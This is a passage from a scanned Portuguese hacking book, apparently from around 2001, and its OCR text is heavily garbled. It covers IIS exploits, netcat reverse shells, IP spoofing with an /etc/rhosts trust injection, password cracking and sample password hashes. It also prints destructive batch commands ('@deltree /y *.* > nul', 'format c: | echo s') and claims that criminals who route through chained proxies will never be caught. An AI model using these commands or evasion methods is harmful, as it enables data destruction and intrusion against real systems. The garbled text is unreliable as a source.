no printer .isapi , fazendo com que se consiga acesso a0 Windows 2000 pelo IS 5.0 . O
sistema Unix possui muitas falhas também, como no sendmail (chamado de maior bug da
terra) e no Apache, mas é mais facil exemplificar usando o maravilhoso sistema de Bill Gates.
Um truquezinho: abra o Word, digite afuncéo =rand(100,100) e aperte enter. Boas risadas.

Buffer overflows

O huffer overflow € um atague usado a muito tempo e que ainda sera muito usado.
Compreende em lotar os buffers (memoéria disponivel para aplicativos) de um servidor e
incluir na sua lista de processos algum programa tal como um keylogger ou um trojan. Todos
0s sistemas sdo vulnerdveis a buffer overflows e a solugdo € a mesma, procurar se jé existem
corregdes existentes. Novos erros desse tipo surgem todo dia, até o XP ja tém aguns. Se
atualize sempre para ndo ficar paratrés.

Um dos usos famosos do buffer overflow € o telnet reverso. Ele consiste em fazer a
maguina alvo conectar-se a um servidor no computador do cracker, fornecendo-lhe um shell
(prompt) de comando. O netcat, chamado de “canivete suico do TCP/IP’, € uma espécie de
“super-telnet”, pois realiza conexdes por UDP, serve como servidor, entre outras tarefas. Ele é
0 mais utilizado para a realizagdo do telnet reverso, e pode ser usado tanto na arquitetura NT
quanto no Unix. A versdo para Windows esta disponivel em ftp.technotronic.com .

Race condition

O Race condition ou condicéo de corrida é mais comum no Unix e no Linux. Consiste em
fazer algum programa gue rode como root (super-usuério) executar alguma falha que possa
Ihe enviar para o shell do sistema. O programa que mais teve problemas de race condition até
hoje € o sendmail , servico de e-mail padrdo do Unix. E possivel encontrar falhas até em
versdes mais recentes.

Descobrindo se algum sistema tém falhas

Para o programador experiente é mais facil verificar se um sistema tém falhas (se o
programador for interessado e tiver boa vontade), utilizando de recursos de debug que checam
por erros de buffer overflow e outros. Para o usuéario € bem mais dificil descobrir ago,
principamente o usu&rio comum. O interessante seria visitar paginas especializadas no
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assunto, que a cada dia publicam novos tipos de erros descobertos. Algumas muito boas sdo a
Security-focus (www.security-focus.com) e a Hacker brasileira (www.hacker.com.br).

Anteriormente, na segdo scanners, vimos alguns scanners de vulnerabilidade (ou falhas que
da na mesma). Veremos dois scanners melhores e mais potentes agora, o Typhon
(www.securityfocus.com) e o Stealth (www.nstalker.com).

e Typhon (S6 funciona em Windows NT/2000/XP)

- =lolx|

File Tools Help

dimaele e s 2|

Host to Scan: 127.0.0.1
Starting scan...
Starting web service checks...

Starting NetBIOS checks... completed.
Starting smtp service checks...completed.
Starting ftp service checks... completed.

Starting POP3 service checks..completed.
Starting SQL service checks... completed.
Starting SNMP checks... completed.
Starting NT Registry Checks... completed.
Starting NT Service Checks... completed.

Starting Browser checks... completed.
Starting NT Audit checks... completed.
Starting finger checks... completed.
Starting DNS checks... completed.
Starting RPC checks... completed.
Starting Protocol checks... completed.
Starting RServices... completed.

Esse scanner € excelente pois € rgpido e nos da agumas informagdes muito boas
sobre possiveis falhas e desconfiguragfes do sistema alvo. Nao é muito completo, mas
€ 0idea parase usar antes do magnifico Stealth, que como veremos, é inigualavel.

o S Stealth =100 ]

CGISetup Help

Stealth 2.0

| Ezpecial | | Créditos | J

@ Escaneador I Deteccdo de Vulnerabilidade3| Lag I F'referéncieml
B Marme do Host [ou [P
’7|www.helpcnmputer.com.br IED ill
IDS Test Brazil - Commercial
D atabaze
92
Marmal =, |
I~ Suspender
Escanear servidor | ‘ Eaneelar | ‘ Ezcaneamento =
Language

| |F'mnt0 para escanear. o
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O melhor scanner de vulnerabilidades do mundo. Isso € pouco para descrever o
fantastico programa Stealth. Programa de uma empresa brasileira (e em portugués), ele ja
ganhou destaque internacional pois consegue identificar cerca de 15000 falhas em sistemas.
Poucos conseguem escapar ilesos a essa potente arma. Portanto, use-a para o bem!

Utilizando exploits

Exploits sdo programas criados para explorar falhas. O exemplo do printer .isapi do 11S5.0
gue del acima, possui um exploit chamado iishack2000.Ele possibilita que somente digitando
o IP de algum computador, vocé consiga acesso direto ao interpretador de comandos (ou
shell). Assim podendo fazer o que quiser com o sistema. Existe também o iishack (sem o
2000), que utiliza um erro de buffer overflow do 11S 4.0 para fazer com gue vocé possa
mandar o servidor executar qualquer tarefa (como um trojan). Cada exploit corresponde a
uma falha, por isso geralmente os grandes sites de seguranca publicam os dois juntos.
Geralmente vém em cddigo-fonte C, Perl e alguns poucos em executaveis comuns. Se quiser
encontrar  compiladores para rodar 0s  exploits, procure na  pagina
www.programmersheaven.com. E uma Gtima homepage com muitos recursos de vérias
linguagens de programagao. Se vOcé ndo quiser arrumar um compilador, ai vai uma boa dica
de exploit que checa mais de 200 vulnerabilidades de Unicode (I1S). Pegue em:
http://tomktech.n3.net.

Instalando patches

Como jafoi dito antes, a salvacdo esté nos patches. Toda vez que um erro for descoberto,
deve-se visitar a p4gina do fabricante do programa e pegar a correcdo. 1sso ndo pode ser feito
de més em més, é no maximo de trés em trés dias. Os erros aparecem muito rapido, e um
sistema é composto de muitos softwares. Todos devem ser checados. E interessante também
assinar uma lista de discussdo sobre seguranca, assim toda vez que uma falha for descoberta,
vocé receberd um emal. A Microsoft (www.microsoft.com), a Securenet
(www.securenet.com.br) e Security-focus (www.securityfocus.com) possuem algumas.
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13

Anonimidade

Ser anbnimo narede

Anonimidade na rede é algo muito discutido atuamente. Existe alguma maneira de ser
totalmente indetectavel na Internet? Existe sm e € bem simples. Muitos programas e
ferramentas prometem tornar seu usuario invisivel mas sdo pura enganacdo. O que vocé
precisa € de conhecimento, ndo de softwares. Um usu&rio pode conseguir passar em
computadores no Japdo, Alemanha e Finlandia antes de atacar um site no Brasil. Ai que se faz
afama dos “metidos a crackers’. Um cracker pega o seu notebook, vai a um telefone publico,
utiliza uma conta roubada de internet, se conecta a cinco computadores pelo mundo e
utilizando-os conecta-se a um sistema de anonimidade. Ap0s isso entra na pagina do FBI e
apaga aguns arquivos. Nunca, digo nunca realmente com muito énfase, sera pego. Todos 0s
bons crackers ndo sdo pegos, justamente pela facilidade de se esconder. Ou seja, ndo dependa
de ferramentas de rastreamento, nem da policia, nem nada. Apenas com a seguranca do seu
sistema. E a sua maior garantia.

Usando o anonymizer

O anonymizer € um dos muitos servicos gratuitos de anonimidade na net. Visitando a sua
homepage (www.anonymizer.com) ele possibilita que vocé digite agum endereco e sga
redirecionado para ele. Exemplo: eu digito www.felainternet.com.br na pagina do servico e
ele me redirecionara para o provedor de Internet FELA, s6 que com o enderegco IP do
anonymizer. Ou sgja, se 0s administradores da pagina consultarem o log, ndo verdo meu real
endereco. Em sua versdo basica (gratuita) o servico possibilita apenas que vocé abra péginas
HTTP. Ou sga, nada de FTP. Ha ainda um servigo pago que pode ser conferido na pagina.
Ultimo detalhe: ndo é possivel utilizar um anonymizer para conectar-se a outro.

Proxys

O proxy, antigo conhecido de muitas pessoas que mexem com rede, possibilita uma ponte
entre um computador e um servidor. Para exemplificar melhor, imagine que vocé possui uma
rede local, mas somente um dos seus computadores tém placa fax-modem. Entdo vocé se
conecta por ele e utiliza um proxy para que o outro computador da rede faca uma ponte e
acesse a Internet pelo servidor. O endereco IP utilizado ser4 do servidor. Acontece que
existem muitos proxys gratuitos na Internet. Brasileiros ou internacionais, eles possibilitam
que vocé navegue tranqlilamente e as vezes ficam até mais répidos do que com a conexao
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comum. O proxy também tém uma vantagem: vocé pode usar um proxy para entrar no
anonymizer (assim escondendo seu endereco IP duas vezes). Enderecos gratuitos de proxy
podem ser encontrados na pagina www.cyberarmy.com.

Wingates

O Wingate parece muito com o proxy, mas sua aplicacdo € um pouco mais perigosa por
dois fatores. Primeiro: o wingate € acessado por telnet, entdo possibilita a conexdo a qualquer
tipo de servidores, sgjam telnet, ftp, smtp, pop, ou até algum trojan. Segundo: ao contrério do
anonymizer e do proxy que so pode ser usado uma vez, o wingate ndo tém limites. VVocé pode
conectar-se a um wingate chinés, depois utiliz&|o para entrar em um argentino e um italiano.
A cada conexdo, vocé terd um novo endereco IP. Imagine o trabalho para algum
administrador descobrir quem invadiu o sistema. Tera que entrar em contato com a autoridade
de cada pais e mesmo assim se ela quiser gjudar. E claro que a cada novo wingate a conexao
vai ficando mais lenta. S6 € bom mesmo para quem possui uma conexao de alta velocidade.
Existem alguns scanners que procuram subnets por wingates. Alguns deles podem ser pegos
em ftp.technotronic.com. Para uma lista de wingates, visite o site www.cyberarmy.com.

Remailers

O Remailer € muito parecido com 0s outros, mas € somente para se enviar e-mails
anonimamente. Com ele ndo é preciso utilizar um wingate para se conectar a um servidor
smtp, o proprio remailer ja é um servidor anénimo. Mas por via das davidas, fique com o bom
e velho wingate pois ele é mais garantido. Antes de sair mandando bombas de e-mail, saiba
gue esses servicos geramente ndo conseguem manipular muitas mensagens em um pequeno
intervalo. Isso quer dizer que qualquer um que dé uma de esperto e queira inundar a caixa de
e-mails de outra pessoa com centenas de e-mails provavelmente vai ter o seu endereco |P real
revelado.

Shells

Esse é reamente uma mao na roda. Uma vez alguém disse “O bom cracker ndo € o que
consegue utilizar bem um sistema Unix e invadir uma rede. E o que utiliza Windows e
consegue 0 mesmo resultado”. 1sso € uma verdade. Afinal, o Unix e o Linux podem até ser
mais complicadinhos de se usar mas existem centenas de Gtimas ferramentas para eles. E s6
pensar que quase todos os exploits disponiveis na Internet hoje sdo codigod-fonte em C. Jao
Windows n&o possui tantos recursos assim, o que torna mais dificil alguma invasdo usando
esse sistema. Para facilitar existem os shells, maquinas utilizando servicos Unix na Internet
gue possibilitam que vocé se conecte nelas por telnet e ftp e as utilize como se fossem locais.
Execute programas, compile cédigos-fonte, utilize o bom e velho V1, use o sendmail e tudo o
mais. Para uma lista de shells consulte a pagina www.cyberarmy.com ou cadastre-se no
endereco http://cyberspace.org/.

Outdials

Citarel esse método mais como estudo pois ele é bem dificil de ser feito. O Outdia
consiste em se conectar via telnet em algum sistema que possibilite conexdo via modem.
Deixe-me explicar melhor: vocé quer invadir um sistema nos EUA. N&o tém dinheiro para se
conectar diretamente (e pagar caro, apesar da prograganda das operadoras), entédo procura um
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outdial, se conecta via telnet e indica o telefone do sistema a ser invadido. O computador
que roda o outdial discara e vocé conectara no sistema sem pagar absolutamente nada. O
problema ¢é encontrar outdials hoje em dia. N&o vai adiantar muito mas se quiser obter uma
lista antiga de outdials, pegue o FAQ da 2600 em www.2600.com.

IP Spoof

A técnica mais antiga e devastadora de invasdo de computadores. Trabalha a nivel de
protocolo, abaixo da camada dos aplicativos. E como o trojan de ponte, mas bem mais eficaz.
No caso do trojan por exemplo, uma maguina era Windows, o que facilitou a sua instalacéo.
Mas e uma rede que sO existam maguinas Unix, mesmo assim fortemente seguras? Vamos
supor que queremos invadir uma rede militar qualquer com 1000 computadores. O servidor
central aonde ficam os dados confidenciais sO se comunica com mais dois computadores,
assim evitando o perigo de acesso pela Internet.

Ora, 0 erro esta ai. Apesar de se comunicar s com duas méaquinas, elas tém acesso a rede
externa. Existe entdo uma relacé@o de confianga entre esses computadores e o servidor. Ai que
entra o IP SPOOF. Ele consiste em estudar com um sniffer as sequencias numeéricas do
cabecalho ip que é enviado & maguina avo. Supondo que a maguina alvo sga A (a que
queremos invadir) e a que tém relacdo de confianca com ela sgja B. ApOs aprender a
sequéncia correta, inundamos a magquina B com pacotes syn malformados (criando um denial
of service para“amordaca-1a’). Entdo criamos um pacote |P com cabecal ho falso, fingindo ser
améguinaB ( que ndo pode falar tadinha). Além disso, existem dois tipos de | P SPOOF.

Non-blind spoof

Esse spoof € realizado dentro da propria subnet em que se encontra o atacante. Ele é um
spoof “ndo cego” pois permite que o atacante receba (usando um sniffer) a resposta da
maquina A paraa B ap0s nosso ataque. Supondo que enviamos 0 comando:

< ip do hacker> >> /etc/rhosts

Esse € um comando para que o computador alvo passe a nos considerar “de confianca’
cedendo-nos espago para quando fizermos um rlogin. Mas como saber se 0 comando
funcionou? Com o non-blind spoof isso € possivel.

Blind spoof

Quando o ataque é feito a um computador fora de sua subnet. Com o blind spoof, a Unica
coisa que se pode fazer é enviar o pacote spoofado com o comando e rezar para funcionar.
Um programa gque automatiza um pouco a tarefa do spoof € o SendIP (www.earth.li) para
Linux (Unix). Ja para Windows ndo existe ainda um programa decente que o faca.
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Unix e LinuXx

Como tudo comecgou

O UNIX foi desenvolvido na década de 70 pela Bell Labs. Seus criadores foram Ken
Thompson e Dennis Ritchie, gjudados por uma equipe. O nome é uma gozagao com o sistema
Multics criado na década de 60 em que os dois se basearam. Enquanto ele tentava ser varios
(Multi) o Unix era um sb. Construiram um sistema operacional para programadores. Eles
desgjavam um resultado tdo bom que a linguagem C foi desenvolvida sb para gjudar a fazer
melhores ferramentas para o projeto. A medida que o tempo foi passando, o UNIX foi se
mostrando um sistema versétil e extremamente eficiente. Um pouco dificil para o usuario
inexperiente, mas muito eficaz. Com esse sucesso todo, 0 sistema evoluiu e teve varias
distribui¢des, tais como, Digital Unix, Aix, Unix V, Xenix, Minix e muitas outras. Também
inspirou a criacdo de sistemas operacionais como 0 DOS e OS/2.

A sua mais famosa adaptacdo € o Linux, criado por Linus Torvalds (dai provém o seu
nome). E uma distribui¢iio gratuita (coisa que nem todos os unix S30) e portada para os
computadores pessoais ja que geralmente 0s outros sistemas sdo para grandes computadores
(mainframes). O sistema UNIX vém se mantendo a mais de 30 anos como 0 sistema mais
seguro e poderoso de todos.

N&o entrarei em detalhes sobre o UNIX, ja que esse livro ndo se prende a um sistema.
Darei uma visdo geral sobre como € sua estrutura e por qué difere tanto do Windows. O
objetivo maior de um invasor em um sistema com UNIX é obter o acesso ROOT. Ele pode
fazé-lo tentando explorar alguma falha em algum servidor da vitima (veja no capitulo falhas),
como falhas em algum servidor (ou mesmo de algum kernel antigo), uma méa-configuragao,
ou instalar um backdoor. N&o importa. Se 0 invasor ndo conseguir acesso root ele ndo tém
nada. E com certeza fara de tudo para consegui-lo.

Autenticacdo de senhas — a criptografia DES

Sempre ao iniciar uma sessdo, 0 sistema ira pedir-lhe nome de usuério e senha. Mas onde
ficam armazenados esses dados?. O arquivo /etc/passwd € o responsavel por guardar as
senhas no sistema. O processo de autenticagdo no UNIX é extremamente eficiente. Aqui um
exemplo simples de como 0 arquivo Se organiza:
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mflavio : Marcos Flavio :0 : 0: sEdkiUnbgFsbgTrVbgtTrfviR : /: /bin/sh

A primeira se¢do € o login do usu&rio, no caso do exemplo € o mflavio. Esse € o nome
usado para acesso ao sistema. Logo depois vemos 0 nome completo do usuario, que é Marcos
Flavio. Depois vém dois nimeros. Eles sdo os numeros de indentificagcdo de usuario e grupo.
Os chamados IDs. No UNIX cada usuério pertence a um grupo, sgja ele o root
(administradores) , webmasters, users, o que for. Quanto menor for 0 nimero que aparece no
arquivo passwd , maior € o poder do usuario. No exemplo temos dois zeros, isso quer dizer
gue o usuario tém poderes de administrador e pertence ao grupo root. Se fosse um usuario
comum, provavelmente o numero estaria entre 20 e 60.

A préxima secdo € a mais interessante: a senha. Mas ndo a senha real, como € escrita ao se
logar no sistema. Ela esta criptografada usando um sistema chamado DES, desenvolvido
especialmente para 0 UNIX. Contrariando alguns pensamentos, o DES ndo pode ser
descriptografado. Mas ainda assim existem métodos para conseguir obter as senhas. Leia
sobre ele no capitulo 14. Depois da senha criptografada temos o diretorio padréo do usuério
(que no caso do root € araiz “/") e seu interpretador de comandos ou shell (/bin/sh). Existem
outros shells, como o shell C (/bin/csh). A utilizacdo de cada um depende do gosto do usuario.

Uma observacéo interessante: em versfes mais antigas do unix, usava-se 0 comando In
(que cria um link com algum arquivo) para criar um link com o arquivo de senha, mas
agora acessivel. Essa falha ndo mais existe. Seria mais ou menos assim: In —I /etc/passwd
/templ/teste . Isso faria que no diretdrio temp, existisse um link teste que poderia ser
“acessado”.

Y2 M5-DOS Prompt - EDIT

o SRS B SS9 Al

liew Options

G: \llnux\etc\SHHﬂﬂW
root:ScHRDJUdZquql:-D: ﬂ::::
mflavio-MEwwzcbyfylM:0:-0:
binz*-979F:0-::o:o:
daemon:-*:97%7 e
admz=*-9797:10:

uucp:*-2797:10
operator-%:97
games:*- 9797 :10:
ftpo=-9797:10:
gdm:z=:9797:0:::
nobody-x=-9797:10
quest:-?7?7:0

Um exemplo de arquivo de senha simples.
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Shadowing

Na tentativa de segurar os invasores e impedir gque consigam informagdes sobre o sistema,
foi criado o sistema de Shadowing. Ele funciona da seguinte maneira: deixa-se um arquivo
/etc/passwd “falso” para ser pego pelo cracker. Nesse arquivo, geralmente no lugar das senhas
criptografadas estara apenas um asterisco. Os administradores mais maldosos que querem ver
0 invasor perder seu tempo, colocam algumas entradas criptografadas falsas de senhas. O
arquivo verdadeiro estéd bem guardado em algum lugar do sistema. Como isso varia de sistema
a sistema e o local pode ser modificado, teriam que procurar muito para encontré-lo. E uma
medida de seguranga a mais, mas ainda assim ndo segura um bom cracker, que nem necessita
do arquivo de senhas mais. Explora os erros.

SSH, Telnet e Rlogin

Os métodos de conex&o remota s@o muito utilizados em sistemas UNIX. O Telnet e o
Rlogin (remote login) por décadas foram largamente usados para que recursos externos
distantes pudessem ser acessados. E como o patrdo que de casa quer efetuar um login no
sistema da empresa e verificar os logs para ver se esta tudo bem. Acontece que apds a
popularizacéo do sniffer esses acessos remotos ficaram perigosos pois eles enviam dados a
texto puro, sem nenhum tipo de criptografia. Esse problema foi resolvido com a criagéo do
SSH (Secure Shell) que comega a criptografar mesmo antes do processo de login.

Hoje, 0 SSH tém sido usado demais nos sistemas Linux, até ja vém com agumas
distribuicbes. O erro que algumas pessoas fazem é confiar demais na sua eficiéncia. Como
qualquer outro programa, o Secure Shell possui bugs graves. Até muitos se for comparado
com outros servi¢os como 0 Apache. Portanto se 0 que vocé quer é a seguranca do sistema,
esteja sempre atualizando o seu SSH.

- Telnet cyberspace.org

AP LR — X
AP —x1—x
—pu—p——p——
—pu—p——p——
B —p——p——
L —p——p——
—PUXPKP X
Py —P——
—PUXP—KPX

mf lavio sapients 7 o11:38 .

root wheel 15 2@:48 _.

mf lavio sapients May 8 .cfonce

mf lavio sapients May 8 -mailec

mf lavio sapients May .plan

mf lavio sapients May 8 .profile
mf lavio sapients May 11 a.out

mf lavio sapients May 11 iishack2B88.c
mf lavio sapients Jan ¥ 11: mf lavioprg
—PL— PP mf lavin sapients tezte.c

— PP —— mf lavino sapients H tezte.o

S cc iishack2BBB.c —o iisxp2

o o o o o ok ok ok ok Y [

Com o utilitario telnet, consegui acesso a um sistema Unix.
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Virus e trojans

Essa € uma vitéria do Unix. A coisa mais rara da face da Terra (mais raro que ganhar
sozinho trés vezes seguidas ha mega-sena) € aparecer algum virus para esse sistema. Tanto
gue as empresas criadores de anti-virus iriam falir se fizessem versdes exclusivas para Unix e
Linux. Trojans também existem muito poucos, e esses s conseguem ser instalados com o
poder de superusuario (ou ROOT). Se vocé quer se livrar de uma vez por todas de problemas
bobos como virus de macro(Melissa) , worms(Love Letter) e outros, venha pra o Unix. Néo
ira se arrepender.

Buffer overflows e condi¢c&o de corrida
Leia o capitulo sobre falhas.

Aumentando a seguranca do sistema

Para aumentar a segurancga € o que chamamos de praxe: esteja sempre atualizando 0 seu
sistema por patches encontrados, teste-o com ferramentas de crackers para saber se €
vulneravel. Configure 0s servicos que vao iniciar com o sistema no /etc/inet.conf . Cheque as
permissoes e os logs do sistema todos os dias. Use o shadowing. Utilize um bom firewall.
Confira se todas as senhas padrdes estdo desabilitadas. E o essencial: reze. E uma 6tima ajuda
atualmente.
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Microsoft

Como tudo comecgou

A histéria da Microsoft € bem interessante e pode ser vista no filme “Piratas da
Informética’, produzido pela TNT. Bill Gates e Paul Allen estudavam em Harvard juntos. Um
dia ficaram sabendo de um lancamento de um tipo de computador (desses que ainda
funcionavam a base de perfuracBes de cartdes) e se ofereceram para criar 0 seu sistema
operacional. Estava criada a Microsoft. Pouco tempo depois, um revolucion&rio chamado
Steve Jobs langou o primeiro computador pessoal do mundo , o Apple I1. A apresentacdo do
produto foi em uma pequena feira de informatica, em que Bill Gates estava presente. A IBM
resolveu lancar um produto para concorrer com a Apple (empresa de Steve Jobs). Estava
montado o projeto do PC/XT (vulgo 186). SO que ndo possuiam um sistema operacional. A
Microsoft correu para a IBM e ofereceu o Ms-Dos. SO havia um problema. Eles néo tinham
um sistema para vender. Foi um blefe. Logo encontraram um programador que havia feito um
sistema fécil de usar baseado no Unix, mas com muito menos comandos. Bill comprou-o por
uma mixaria e revendeu por um prego absurdo.

Esse foi o inicio de sua grande fortuna. A briga Apple Il e PC/XT continuou até que uma
empresa chamada XEROX inventou o mouse e a tela grafica. Steve Jobs logo gostou do que
Vviu e utilizou esses recursos no seu mais novo computador Macintosh. Percebendo o perigo a
Microsoft se ofereceu para trabalhar para a Apple, assim conseguiram trés protétipos do
Macintosh. Curiosamente a Microsoft lancou um produto quase igua ao sistema grafico da
Apple, chamado Windows. Steve Jobs perdeu o emprego e voltou anos depois a Apple, tendo
agora Bill Gates como acionista. Os Ultimos lancamentos de sua empresa séo o IMac e o
Cube.

Diferencas das plataforma Windows ME e 2000

O Windows possui duas hierarquias. A primeira, vém da sua primeira versdo. Os mais
antigos talvez se lembrem do Windows 3.11 , aguele cheio das janelinhas. Pois €, depois dele
vieram o Windows 95, 0 98 e o Millennium(ME). Essa hierarquia possui muitas fahas,
algumas t&o antigas que vém do préprio DOS( falha do con por exemplo). Isso porqué a cada
nova versdo sao acrescentadas novas tecnologias mas muitos erros ndo sao corrigidos. 1sso
junta os antigos problemas aos novos. Quem nunca mexeu com o Windows e recebeu o
famoso erro “Esse programa executou uma operacao ilegal e sera finalizado”? A Segunda
hierarquia é a do Windows NT, atualmente chamado de Windows 2000. E infinitamente mais
estavel pois a cada nova versdo o codigo-fonte € praticamente reescrito , portanto € um
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sistema para empresas. Para se ter idéia é raro dar algum erro no Windows NT, além de ele
possuir suporte a arquivos NTFS, 0 que deixa 0 sistema mais seguro. Um bom exemplo para
mostrar a diferenca entre as duas hierarquias, € o meu programa Anti-Trojans. Na sua versao
1.5 ha mais de 50 opcdes de portas para serem monitoradas, mais quatro portas extras. No
Windows 98 tentei abrir 25 portas e deu erro. Memdéria insuficiente. Ou quando abria, nada
mais funcionava, o Internet Explorer ndo tinha memoria para carregar mais nenhuma péagina.
No Windows 2000, abri todas as portas ,inclusive as quatro as extras, e ainda abri 0 ICQ, o
Netscape e 0 Napster. Por isso ha versdo 1.6, diminui o nimero de portas mas inclui um
netstat.

A tentativa de se criar um sistema misturando elementos do Windows ME e do NT
resultou no famoso Windows XP. Mas ele é apenas uma versao “mauricinha’ do NT, jaque a
maioria dos programas mais antigos (principa mente os do 95,98 ou ME) acabam néo rodando
nele.

Autenticacdo de senhas

A autenticacdo no Windows NT € muito boa. Ndo tdo quanto o Unix, claro. O processo é
criptografado e oferece uma boa opcéo de seguranca. Mas ao contrério do DES do Unix, pode
ser quebrado mais facilmente. O excelente programa LophtCrack por exemplo, consegue
descobrir senhas com uma velocidade fenomenal. E o NT (quando digo NT me refiro atodas
as versoes, inclusive o Windows 2000 que na verdade € o NT 5.0 e ao XP) ndo possui um
recurso de shadowing, 0 que poderia gjudar a aumentar a seguranca das senhas. Ja a
plataforma Windows 9x (atual ME) possui um método ridiculo de autenticacdo de senhas. Na
telade login, sb de vocé clicar em cancelar o sistemajainicializa. As senhas sdo gravadas em
arquivos PWL no diretorio do Windows, sendo super faceis de serem quebrados. Muitos
programas fazem isso, mas 0 CAIN € um dos melhores. E uma pena que ele n&o funcione no
NT.

4_1C3 - [Untitled1] e =loi x|

File “iew Import Session Help

User Name I LM Password i =8 I MTLM Password i LM Hash
E.ﬂdministrator * empty * % * empty * AA03B435651404EEAAD3B435B51404EE
%Guest * empky * ® * emply * ARD3E435B51404EEALDSE4535B51404EE
£He|p#\ssistant SO 29A05059F4EL 7 CFO7IE0AGE421 A0

d : ]

Ready
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O LophtCrack consegue descobrir senhas do Windows NT localmente, em um
sistema remoto (sendo admin) ou pela rede local como um sniffer. Ele tenta descobrir as
senhas pelo LanMan, antigo algoritmo em que a autenticacdo do Windows NT se baseia.

Virus e trojans

Michelangelo, Chernobil, Méelissa, | Love You, vérias geracbes de um mesmo problema
que atinge usuarios do antigo DOS e do Windows por anos. Os malvados virus. O que séo
exatamente os virus? S8o programas em gue a Unica fungdo é causar danos ao computador,
sgja apagando arquivos, deixando a maguina mais lenta, etc. Em comparacdo a outros
sistemas como o do Mac OS (Macintosh) ou o Unix, o Windows ganha de lavada na
quantidade de virus. Existem milhdes e milhdes de “bichinhos’ para o Windows enquanto que
para 0 Unix sdo apenas poucas dezenas. Virus bobos (se é que podem ser chamados de virus)
como macros anexadas a documentos do office ou um arquivo vbscript tém causado muito
panico hoje em dia. Pense como as coisas sd0 engragadas. antigamente, quando se utilizava o
DOS que é bem menos sofisticado e sem recursos, os virus eram feitos por mestres da
informatica. Hackers e Crackers se utilizavam do assembler (linguagem de baixo nivel) para
criar seus virus. E essa € uma linguagem bem mais dificil de ser aprendida que as comuns de
alto nivel (como basic, pascal, C, Perl e outras).

Hoje, com o Windows sendo atamente sofisticado, um simples arquivo VBScript causa
muito estrago. N&o precisa nem ser compilado e tém uma linguagem de programacéo
extremamente f&cil (baseado no Visal Basic). Infelizmente esse é o problema da geracéo
Windows. Os que comegaram seu aprendizado pelo DOS tém mais malicia em relagcéo aos
virus. Para quem ndo conhece nada sobre esse antigo sistema, consulte o capitulo 12. A
quantidade de trojans existente também é infinitamente maior no Windows gque em outros
sistemas. Como disse no inicio do livro, ndo existe um sistema melhor que o outro. Depende
do seu uso e do gosto pessoa de cada um. Se utiliz&lo na empresa, use o Unix. Pelo menos
0s virus ndo irdo rondar seus sonhos a noite. Ou se preferir mesmo o Windows, arrume um
bom anti-virus (o Norton € um dos melhores). Eles ajudam muito.

Buffer overflows
Leia o capitulo sobre falhas.

Badwin

Badwin e Badcom séo a mesma coisa, apenas um € para o sistema Windows e outro para o
DOS. Podem ser feitos em Delphi ou VB e geralmente possuem comandos para apagar 0S
arquivos do computador. Ndo podem ser considerados virus ou trojans pois ndo ficam
residentes na memaoria e nem sdo enviados pela rede (como os worms). Um badwin € um
programinha extremamente simples, até mais do que os worms vbscript. Mas as vezes 0s
programas sdo tdo enfeitados (como aquele em que o bot&o corre) que as pessoas acabam
caindo. E ai ja étarde.

Worms

Robert Morris Jr ficou famoso por ter criado o primeiro worm da histéria. Seu virus
especia conseguia atacar de rede em rede, causando danos enormes. E a diferenca do virus
para o worm € essa: 0 worm €é transmitido automaticamente pela rede, seja por e-mail, por ftp
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ou até por tcp/ip puro. Causa danos como 0 virus, mas sua propor¢édo € maior. Alguns
exemplos sdo o0 Melissa (worm de macro) e o | Love You (worm vbscript) que sdo enviados
por e-mail. Os anti-virus mais novos também costumam pegar os worms, mas infelizmente
como ndo sdo programas compilados (executavels) , sdo faceis de serem alterados para
enganar o software.

Aumentando a seguranca do sistema

Use 0 Windows XP ou adote um Unix. Detesto puxar sardinha para algum sistema
operacional mas ao escrever esse capitulo eu mesmo me convenci de que o Windows é um
desastre da natureza de sistema operacional. Tive que reiniciar 0 computador umas vinte
vezes em em pouco tempo. Muito fécil de se mexer, sem divida. E étimo parajoguinhos. Mas
se vocé for precisar de um sistema sério , confidvel e estavel... use 0 MSX. (e, isso foi uma
piada). Como eu disse antes, € uma questéo de gosto.
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16

DOS

Por qué o DOS?

Ainda me recordo da primeiravez que o vi. Foi aos 10 anos, quando ganhei um 386. Fiquel
maravilhado com toda aguela mégica de comandos. Expressdes como dir, cls e attrib ainda
faziam parte do nosso vocabul&rio. O Qbasic me possibilitou dar 0s meus primeiros passos
em uma linguagem de programacéo. Era a época de grandes jogos como F1GP e Prince of
Persia. E uma pena que o sistema operaciona de disco (DOS) da Microsoft tende a ndo existir
mais. A cada versdo do Windows mata-se um pouco dele. No Millennium, nem é possivel
mais rodar alguns programas. Uma grande pena para 0s usuérios da era do mouse.

Vemos pessoas assim chamar diretorios de pastas, copiar arquivos usando o Windows
Explorer (sendo que ndo ha nada melhor e mais gostoso de ser usado do que o comando copy
do DOS). Recomendo sua aprendizagem atodos que ndo o conhecem. V océs ainda tém tempo
antes de adquirir um Windows X P chegar e acabar de assassinar nosso querido amigo. Foi em
homenagem a ele que essa secdo de dedica, mostrando truques e téticas de seguranca.

Arquivos BAT

Os arquivos batch no DOS sdo pequenos scripts que possibilitam que se faga muitas tarefas
de uma s vez. Possuem a extensdo BAT e podem ser rodados como se fossem executaveis. A
linguagem batch € bem extensa e étima para iniciantes aprenderem 0s primeiros passos em
programacdo. Meu objetivo ndo € ensinar a linguagem e sim apenas mostrar Como 0 pProcesso
funciona. Um exemplo de um arquivo batch abaixo.

Dir/p

Cls

Mem

Digite no prompt do dos “edit teste.bat” . Assim o editor padréo EDIT ira criar o arquivo
teste.bat . Escreva os trés comandos acima, colocando-os um em cadalinha. Salve o arquivo e
execute-o digitando teste ou teste.bat . O programa listard os arquivos com pausa (dir/p ),
limparaatela (cls) e mostrara o status da memaria (mem).

Badcoms
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Os badcoms sdo uma ma utilizagcdo de arquivos bat. Coloca-se no arquivo comandos
destrutivos, tais como “del *.*” ou “deltree /y *.*” | que sd0 comandos para apagar arquivos e
diretérios. Pode-se até conseguir formatar o computador colocando-se “format c: | echo s’ . O
pipe ( | ) fara com que o comando echo envie o caractere s para o comando format c:. 1sso
porque sempre que se vai formatar (apagar) alguma coisa, 0 DOS pede confirmagdo. No caso,
0 batch daria a confirmacéo por si proprio. Um exemplozinho rgpido de um badcom:

Cls
@deltree /y *.* > nul

Ao criar esse arquivo BAT e executélo, o programa primeiro limpard atela e logo depois
usara 0 comando deltree para apagar os arquivos e pastas do computador. O @ antes do
comando e o * > nul” depois é para que ndo mostre o que o batch ira fazer. Se vocé digitasse
esse comando sem esses dois termos (somente deltree /y *.*), iria aparecer a mensagem
“Excluindo <pasta ou arquivo> “ . O erro do batch é que os usuérios experientes nunca
executardo seus comandos sem olhar seu contetdo. Infelizmente foi criado o programa
